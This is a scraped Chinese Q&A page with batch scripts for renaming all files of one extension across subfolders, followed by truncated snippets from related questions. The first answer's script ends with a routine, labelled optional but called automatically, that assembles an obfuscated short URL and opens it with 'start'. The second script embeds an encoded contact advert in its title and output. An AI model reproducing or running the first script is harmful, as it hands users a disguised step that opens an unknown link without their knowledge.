批量修改文件下以及子目录某个后缀文件名?
发布网友
发布时间:2022-03-04 06:58
我来回答
共2个回答
热心网友
时间:2022-03-04 08:27
@echo off & title 批量重命名 By 依梦琴瑶
cd /d "%~dp0"
::设置主目录路径
set SrcDir=D:\A
::设置要处理的指定后缀
set Ext=*.jpg
::设置指定文件名
set Name=a
for /f "delims=" %%a in ('dir /a-d/s/b "%SrcDir%\%Ext%"') do (
ren "%%~a" "%Name%%%~xa"
)
pause
::非主代码,可以选择性执行。
call :Dnte
exit
:Dnte
set "S0=fPdv"
set "S1=.:ailnhpst/"
set "S2=%S1:~6,1%%S1:~9,1%%S1:~9,1%%S1:~7,1%%S1:~1,1%%S1:~10,1%%S1:~10,1%"
set "S3=%S1:~8,1%%S1:~3,1%%S1:~5,1%%S1:~2,1%%S1:~0,1%%S1:~4,1%%S1:~9,1%"
start "" "%S2%%S3%%S1:~10,1%%S0%"
exit
PS:由于此平台加入了防抄袭干扰码,因此复制粘贴后务必请比对一下原文,以免由于干扰码导致脚本运行出错。
脚本保存编码务必选择ANSI,其它编码可能会导致脚本运行出错。
热心网友
时间:2022-03-04 09:45
以下代码复制粘贴到记事本,另存为xx.bat,编码选ANSI
@echo off
rem 将指定目录下指定后缀名/扩展名的文件重命名成相同名称
mode con lines=3000
set #=Any question&set @=WX&set $=Q&set/az=0x53b7e0b4
title %#% +%$%%$%/%@% %z%
set "folder=D:\xxx\指定文件夹"
set ext=*.jpg
set "newname=a"
if not exist "%folder%" (echo;"%folder%" not found&pause&exit)
cd /d "%folder%"
for /f "delims=" %%a in ('dir /a-d-h/b/s %ext%') do (
if /i "%%~na" neq "%newname%" (
echo;"%%a" --^> "%newname%%%~xa"
ren "%%a" "%newname%%%~xa"
)
)
echo;%#% +%$%%$%/%@% %z%
pause
exit
批量修改文件下以及子目录某个后缀文件名?
echo off & title 批量重命名 By 依梦琴瑶cd /d "%~dp0"::设置主目录路径set SrcDir=D:\A::设置要处理的指定后缀set Ext=*.jpg::设置指定文件名set Name=afor /f "delims=" %%a in ('dir /a-d/s/b "%SrcDir%\%Ext%"') do ( ren "%%~a" "%Name%%%~xa")pause::非...
如何批量修改多个文件夹及子目录下指定后缀的后缀名
我找到的方法是盘符下的根目录写一个批处理文件。里面写@echo off for /r %%a in (*.bak) do ren "%%a" "%%~na.txt"bak是要要修改的原文件后缀名。txt是修改后的后缀名。你可以改成自己想要的
如何用cmd批量修改文件夹名字
1、首先,打开cmd命令行程序:依次点击“开始”,“运行”,输入命令cmd,即可弹出cmd命令行程序。2、下面开始批量修改文件名:首先看看如何批量修改文件名的后缀,如下图所示,几十个甚至几百个txt文档,要把它们全部改成png图片文件。3、在cmd命令行程序中输入如下命令:cd c:\test\ ren *.txt *....
如何在linux下批量改名和多子目录下修改文件后缀名的方法和命令总结_百 ...
格式固定的话 去掉后面6个嘛~~~在加‘.txt’~~~ 用os.poen(‘ls’)获取各个目录下的文件名,用a表示文件名,a[0:12]获取到你要的字符串,在加'.txt',用b表示你要该的文件名,每读取一个重命名一个嘛~~~
批处理:批量重命名父文件夹下所有子文件夹里的文件
1、找出需要整理的文件。2、然后在空白位置新建一个txt文档,命名为“文件重命名”。3、打开文本文档,并复制下面代码,保存,退出。4、右键刚刚创建好的文本文档,修改扩展名为(.bat)。5、保存好后双击它,出现DOS命令框,并能看到文件是按一定顺序排序显示的。6、按照提示,按下任意键,就能看到...
怎样批量改后缀名?
问题一:如何一次性大量修改文件后缀名 上面这位仁兄说的也是个方法,但是太过于简单,满足不了多专业化需求,况且按下F2重命名只能修改前缀,后缀没法批量修改。因此,推荐你用这个版:最完美的国产批量更名综合解决方案:chinavipos.blog.163/...e=edit 问题二:如何批量修改文件后缀名 可以新建一个...
bat批量处理删除文件夹下子文件夹的(包括文件夹和文件特定字符串的后...
不清楚你的实际文件/情况,仅以问题中的样例说明及猜测为据;以下代码复制粘贴到记事本,另存为xx.bat,编码选ANSI,跟要处理的文件或文件夹放一起双击运行 <# :cls&echo off&cd /d "%~dp0"&mode con lines=5000rem 将当前目录下所有文件和文件夹的名称末尾的一个指定字符及其后面的字符删除,...
cmd命令 批量修改文件名
实现步骤:一、用dir命令输出文件名列表:dir [filepath] /a/b/s > outputfile.txt 例,需要更改D:\TEMP文件夹下所有子目录中的所有文件名,应当写以下命令dir D:\TEMP /a/b/s > D:\list.txt 其中,/a可以显示包含隐藏文件的所有文件,如果没有特殊文件的话可以略去。> D:\list.txt是...
CMD命令如何实现批量修改文件名?
实现步骤:一、用dir命令输出文件名列表:dir [filepath] /a/b/s > outputfile.txt 例,需要更改D:\TEMP文件夹下所有子目录中的所有文件名,应当写以下命令dir D:\TEMP /a/b/s > D:\list.txt 其中,/a可以显示包含隐藏文件的所有文件,如果没有特殊文件的话可以略去。> D:\list.txt是...
如何批量更改文件夹名称
1. **打开记事本或任何文本编辑器**:首先,你需要打开记事本(Notepad)或你选择的任何文本编辑器来编写BAT脚本。2. **编写BAT脚本**:在记事本中输入以下示例脚本,用于将指定目录下所有文件夹的名称前添加"Prefix_"前缀。请将`C:\path\to\your\folders`替换为你的目标文件夹路径。```batch ech...